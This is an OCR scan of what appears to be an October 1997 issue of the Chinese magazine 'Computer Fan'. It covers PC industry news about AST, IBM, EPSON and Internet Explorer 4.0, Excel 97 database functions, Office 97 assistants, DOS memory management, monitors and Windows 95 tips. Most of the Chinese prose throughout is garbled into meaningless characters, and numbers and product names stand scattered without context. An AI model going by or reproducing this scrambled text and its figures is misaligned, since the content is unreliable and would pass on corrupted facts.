FESEF P BLA M B, TR A LRl SN B % & 6 Bk 19

100
200

30
1996
1 1.2 1995 1.4
1997
36.2%
2
“ 95” 99
1/200
8000
500
20
20
. 10.

95%

1976
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60%  70%

5000

“ ” ”

MIS

Computer Fan 1997 . 10.

50%

10%

80%
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9 2 AST “
" AST
AST
1999
2 2001 4
Intel Texas Instruments Toshiba
AST
PC
AST
2000 AST
PC
Genoa 9 8 Genoa
1984
IBM MicroTouch
16
MicroTouch IBM
IBM
MicroTouch
IBM
8 26
9 2
« " ( )
108 »
13 ”
" " 98%
—— AGFA
RIP
AGFA
8 14 “ »
166MHz “ " 9999
“ " 166MHz
4000
8838
L 12,

ATX

23 24

100

1989

286EX

Microsoft Internet Explorer4. 0

8 12 Internet Explorer4. 0
(IE4. 0)
(ChinaNet) (CEINet)
(CCW) 1E4. 0
1IE4. 0 250
Intel Intel
(AGP) 440LX AGP ® 1
(DIB) PC
Intel
10
EPSON 9 2 EPSON *
" 5 EPSON Sty-

lus COLOR 400/ 600/800/1520K

(Uniscan 4A/4B/4C/4D) "

5C)" "

” (
WWW. bta. net. cn
)

V5.0

1 V5.0

Word

EPSON Stylus Photo,

EPSON

9
(Uniscan)

n ”

" (Uniscan 5A/5B/

(Uniscan M1200) 8

V5.0 9
V4.0

16M

V5.0 30
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1988

9

Internet

net
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9 Internet

INTERNET

Inter-

300

10.

?
1995
(MBA)
MBA
10
.13,

5



Intranet

1997

101
29

Internet
Internet
20
4
101 : if

i £ H t ; SRR M B AR R T L RABLAF, BN
0 | B F"' TS50 0T, RkdakR QLA S — ko5 80 6 5
" 1t S QI Al T R —( R ),
@ w, ) AA%T@% LI HF T ALBAAN A A B
; T ey A At ok £ 5 %ol , R T AL AT E

oA T ALK

©
(EB37R)
o “ AM
A
A
/
p 9 " g
| " o
|
7 C
: 20
C
X !
B
C
7 C S ! (4
W R AFE 1997 .10
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4185 O

O]
E # B E Excel 97
Excel  Office
Internet

Excel

”ow n “ n

DSUM

“ " ow ”

DAVERAGE
“ " DMAX

DMIN

Excel

=DAVERAGE B1 B6
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1
* Microsoft Ex-
cel ”
“ " $A$1: $D$S6
Excel
sheet2
2
2
S e
TII?IIIN :ETI'I'B 168900
TEM TT300 78900
L1 E%] 190675 145700
I 156450 43720
154330
IEn 65480 45600
LET T 1200580 186700
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(D

65480

Bit

156450

116875
65480

71330

156450

99743, 33333

. 16.

Excel

[mRd = ThH DRRERE oEwa |

4

(F%)
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Office97 ﬂ) /'\ ‘J. %’% y%.
conterl:ti indexs —OfflCeg7

Office97 ]
“ What’s new ”
F1. * 7 Office
“ Assitant "
( ) Mother Nature
An- —
imation
Office Assitant
Clippit
Clippit Office
The Dot
Office
—The Scribble
Dot Office97
E ii ﬂ 5 E Diabble
Genius “ ”
26
g ﬂ | | o
A i :
Hoverbot
Office97
“ " Office
BYTE
uninstall
Office Logo . ©
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1MB
DOS WIN 3. X
4MB
WIN 95 8MB
286
32MB
16MB 386
?
4GB
]
CPU
CPU 1.
(ROM)
(Byte)
KB MB
BIOS (RAM)
4MB / 8MB /
CPU 2.
CPU 1
1 CPU ( )

CPU CPU (MB)
8086/88 20 1 2
286 24 16
386 32 4000 9 PC
486 32 4000
586 32 4000
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0 ~ 640KB 640KB
640 ~ 1024KB 384KB
1024KB
(XMS) RAM
(EMS) XMS
64KB
(UMB) 160 ~ 256KB
(HMA) 1024 ~ 1088KB 64KB
(1) —
80 PC
CPU  8086/88 1024KB
1MB PC
KB KB IBM
1MB 0 ~ 640KB
DOS DOS 640 ~ 1024KB
ROM BIOS MS -DOS
1IMB DOS
(2) —
KB
KB MB
1985 Lutos Intel
Microsoft
(
)
RAM  64KB
64KB
DOS 64KB RAM
DOS 32MB
EMS
CPU
386 CPU
386
EMM386. EXE
EMS

Computer Fan 1997 . 10.

(3) —

386 CPU 4GB
DOS
1MB
100
100
386 1MB
1988 Lotus Intel AST  Micorsoft
DOS
1MB
XMS HIMEM. SYS
Windows
386 CPU
Windows
XMS
(4) —
( )
DOS DOS
640KB XMS
DOS
TSR
DOS
DOS TSR
?
DOS
64KB
HMA CPU 21
DOS CONF IG. SYS
DOS = HIGH DOS
HMA DOS
EMM386. EXE
DOS
UMB
TSR
UCDOS 5.0
UMB ( )
HMA UMB
XMS
DOS
©
. 19.



D

7 F o R

EFFHETERE—F KA
BT B B AT AR (FM) &
Rk Aok & (Wave Table) & A&
o T E R R A Rk,
BREEFZFXFECY , FHhE, 12
N AAR A, R A R — A AT
HRFEF ik, CHEBR LW AE
REWEFTHTHFHRELRE,
R E TG e, RE W EFr R B0
WY BB AROR B AR R A B
bR ER RERE S R R AR
B PTE R BT, AT
S E S, B FF T RA R
B ARAT IR A A

. ¥R, FE45FF
o9 I AR

2. AEH, erET FFA
E R RS N - R
REHM S FRELRMFT

3. FEME AR, SREm
FRHFEHE—AAXRRT, KA
B ES T REERFRE, R
Bk pFF eI L RAMR, £
VEFHNESTRTRERCE
T F L@ A A,

W T FFRBEEHERR, B8
X THh 84, 1642, 812 F
R SALKAM ST E B G, P
AR, A 16452 8 RAE WS
1EdE R, € R A A IEM K F R
R, M R A — AR E AR
WA FE b 8 A RAF R 16
155 16 45K 4F | 16 4545 8952 5
KRR, L&k FHAE)

= RA G R E

(—)F i m PR
2 CHERREHEERR TR
RBRBEGREFRL, M ECHFER
SKOB R G R AT ey L & AV F PTL
HE N B R
%4 0.28, 0.3lmm, CRFHES
Py — 35, RBE AR HE AR
BRTHEERT 12, 14, 15 %
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K, Plde, A—6 12%THEF
B, AR TREY A 200x
160mm?, .5 A4 4 0.31mm, £
KFor e LT HES] 640 AN &, & A
ey LT HES) 480 AN, B, E
893 KB FR & A 640 x 480,
BRa#i5 FRERTREL, 5
BE AR RR I,

()BT #HE

R o PR R F TR A
0 BB X S PR, LARA B RAR
R XRBETFHHERIGIRGT X
B Ko & 8 ) L AT AR R T 8
FH B, Pl REATT RS
AONFH, FRHTET 2547, 0
LAZFoHEHA0%x25; B
BASRERIAY LT F XA,
Ko Aoy e L AT AR B T 69 1R
TEEHK, AFABEFHHE
A 320 x200, 640 x 480, 800 x
600, 1024 x 768 %, %, L= F
RPN I T 5 PRI R — AR
BESTELERTH R, eI R
o ERGRA, Fle—& 12 3%
F.REAAEA 0. 3Imm ¥ 2T
R OCHRARALTFTHRFFR
449 800 x 600 2 R AEX,

(=) AtEo o3

Blik P FE LR ME T R 6
Ky, EAMETRALT, ML+
Rpagig Z42 8 A4 B0 =
Y RO LA R0, TR T B AR Y
LE, PR EH A AT
A I B 5 IR R E AR AW P
Regop#k A EihdEiieR
T o A 5 3 R e AR T A A% 3]
GHRTP, EHEMETOLTEA
BOTAAE 24 2R P S it
Bk AT, P E A MR o R ALk
BR, Bldo— AR TrHEH
640 x 480, £ /A 256 & 7 B & W
B R R N% % 300kB, 4= R
BT Bt R 2% o B4k 35 h 256kB,
A2k RAL s RRE R A R T
BB,

(wn BEER

/I

45 - &

ATAPI(AT Attachment Packet
Interface) IDE R @69 A H X, 4
#¥— A CD - ROM # 4 3] 3t St
R s H L, R T Rk
FIR A F

DMA (Direct Memory Access)
HEAGEHER, —HREZMHEYT
CPU ¥ # 8y, TAABEXRE L
S A Z IR K

DSP(Digital Signal Processor)
HFLEFTRARE, TRATLES
e ANIRAZ B

DVD (Digital Video Disc) % F
MAAE, AT EEHLAER
TRMF%,

SIMM (Single
Modules) # X3+ H 4L N & 04 45 & F
5] N A AR AR

HDCD (High Density Compact
Disc) AR 4: CD £ Ak 6—12 454
P — B EARFREORK,

(k& #3)

Inline Memory

¥ iE
AT OMFH 2 M T EEHAK
FFEAAN B ERNE LK BA
MMX | 4 # & 7980 © , % M
MM X [l# & 7 8980 7.,
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B g ox =

F Win 9 %

e X IxG?

L AR W& MIDT X (% . mid) &, Windows 12 £

AT ARG A B A, XA AR B ARG
AEEE MIDI U #£8, S - (AL E—

SR AR P AT AR BR R B AR A R BE

Win95 ¢ K Bk & k% 712, W& “My Comput—
er” (RWBE), ERELZE PIRREE View” (BA) .
“Option” (3£ ) | “File Type” (£ R), I AR IR
BT 89 BF 2 Win95 89 % B x5 4E

1. 3 hmd6h £ B

e R B CEFRAZFL TC.EXE X3, AF 4
A& CiETRARFE TiedF “Compile” HBHHNE R
PR, THweT.

(1) %% “New Type”, H I “Add New File Type”
X i&4E, # & Change Tcon T 3% — A # T W BT £

—L 4\5\\ }‘%

“Discription of type” #2 W #r A\ “C Program”, iX & *F A
R XA RE ; £ “Associated extension” A2 W Hir A

“CTL PR ABIAFT R L

(2)# & “New-", HI “New Action” 2} i54E, 1
“Action” 22 F #r N “Compile”, X % A& & & I A B 48
7 3] 69 F 4% ; & “Application used to perform action” 42
P H A “C\TC\TC. EXE",

GYRRXME 2, TREIE,

2. B X

Windows Bk Wave s XH (*x . WAV) 5xF
A (Sndrec32. exe) X I, WL B AH BB IARFHR S X
B (1) /£ Win95 % BExT 35 4E 3£ 5 “Wave Sound” 5
¥ & Edit, (2) £ “Edit File Type” &4 ¥,
“Application used to perform action;” —# ¥ & “C:\
windows\ sndrec32. exe” B & “C: \ windows\ mplay—
er. exe/open/play /close”, R JjG £ & 0K % M, £ “Edit
File Type” %ti&4E P £ & “Set default”, 1 Z mx A KA
KL, (3)BEAHE K “close” kM, (L& k)

2o i 5

1 AP RAEZe TR, $EF P X
K e RA—REF T, FEE FELETFRTR
B, e RIS TR, FHCEMA KK
PR FFA, EEE CRAEFFROFHE ARG R

22.

WAF TR FARART AL E N H” AL FER
BN L REEFTFH REEEHT,
2. BRSSP TR, RERBZE, &
B RN T HAT Gy B A G B AL AR P T ARk s AR AR
AR TR ATEIAXLETHRA Tk dES
ERMTHFHRTHATZF RS B, @A 3 LT
FIAABTRBAHN, FERERAREM o REHH
E—FAGG R HEE BB R G,

3. R FHBEAG, RERE I, XAt
FHFBRELE PO MR LR ABTRE Y
X R EATIT R B E AT, X AR T A
NABER R BESAL ARG SRR MR T AL T Sk m
PR BRI ON R S AR 6 F AR T AT
FO ARG S KB T )G R XA F st T
PABENAR iy N 04 5035 (" E LA

e

L do R EA = A0 3E A Wing5 %
RAERFHENEZRE — RBAEN, =R E Wk FiT
& TR,

2. A %K Win95 A m E 1% K — A Win
3.X AR ARLY, Wind5 £ZKN2AFHMEF Win
3.X i — A Windows, #HE&E K5 F &4 B2
fro somd A RIR P AN — K Win 3.X 9% ¥k
# R E ¥ “Locate” #8425 #1 % Win 3. X 89 B &,

3. & Setup Z A1 26 B F Smartdry, T4 Win95 #
Nk b, WindS N 2 EH B 21 F
Autoexec. bat ¥ & F A Smartdry , ZH , W FE# iz, A
T i % Smartdry A SR, RATT R M B AEZ

ren smartdrv. exe tem. exe

KRG ,JE Autoexec. bat P M & “Smartdrv. exe” X —
A7, A “tem. exe” BP 9T (L& k)

P B P R

HBEH WIN 95 5, KIL “Tr4s” E g bagit
HERARFRERLT , ANLE BF"ABHE
$%r«;§t7ﬁ?’ L, A iR A

ARFEEER 2@ LM “RB L, =Bk
;vk"&“a&é’w FhULPAE—EAR KRG EE TR
PR RAERLE,

2. gﬁz“iﬂ%ﬁ*i P %7 5, &5 WIN 95 B Fif %
FiZ B R, REEADGI AT HKE “GRPCONV” L
%, A R AR ﬁéﬂé&i;ﬁﬁiﬁﬁ%ﬁ%i@éh%,EFFT‘VA
BRI AIG W RGRA W PTA e E

3. ARAFM F 2 TR A “£@” Loy — B4R,
RERE “FRELE” PRI “DESKTOP” X4+ Hia

z
7o (& FE%
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B g ox =

AR T A% Uninstaller 4.0

WwE TR

Unlnstaller 4. 0( & #& UN4.0) £ Win95 ¥ &
ARAFERIRLE, ©TAGZRLBG B2 FHR
%k&ﬁﬁﬁﬁwm%T%(.ﬁD%16u3uq
R XAE e RAAM R GRS | AL
AFFE| BRI (R ZHD),

— Unlinstaller 4.0 %4 %

JEWin95 F & EF“TFH"EE T B,
247 UN4. 0 %42 F ¢ “SETUP. EXE”, B ik Lt
T : “ Welcome to Unlnstaller 4.0 Setup! (3R i &
UN4. 0)" 5848, T — 5 T e Rit 72 14 £
“Destination Folder” *f 5 4E P % & & K %12, L AMA
M) % ¥ F£ “ \Program Files\Unlnstall 4\”F
BEFHZEEET—F"EXTFHLE,
HENIH TG éﬁﬂ"i@*ﬁ.ﬁﬁ]/l\iiﬁjﬁ, FEExT
AEAT LR FUNMEEATE®R ,E G R IEAT,
[J Display Readme file( 2 = B & X #)
[J Run Installation Monitor at startup
(4% Tnstallation Y5 ALAZ 5 4 2 3] & 2h F )

REEECRDR, ERTHE,

= .Unlnstaller 4.0 #51% A

BERRG, T K CRAET TR AR
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UN4.0 25 P ERFRAGER T XL E)

(3 About Installation Monitor % T % 42 5 89 1% &

@ Shut down %
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® Reports(REFFHFF ) MRAFRM IR &0 A
HAF B AHE AR — RS AR T AR E L
FoFE—aRE, BEAFEAEA LA,
Summary (R4 # % ); Report Log(R % B &); Disk
Analysis(BF 5 #7); File Analysis( XA 47),

= Uninstaller 4. 0 # #p
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i, A DEFRAG &4 /F/P 4 4 3F £ A8 45 4 539
VAR & RN e ik R
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THEH AR TR TREAM, KRG & OK, sbit &
HMET CRagRd,

4. AR EATIFHR, MELAGEH,
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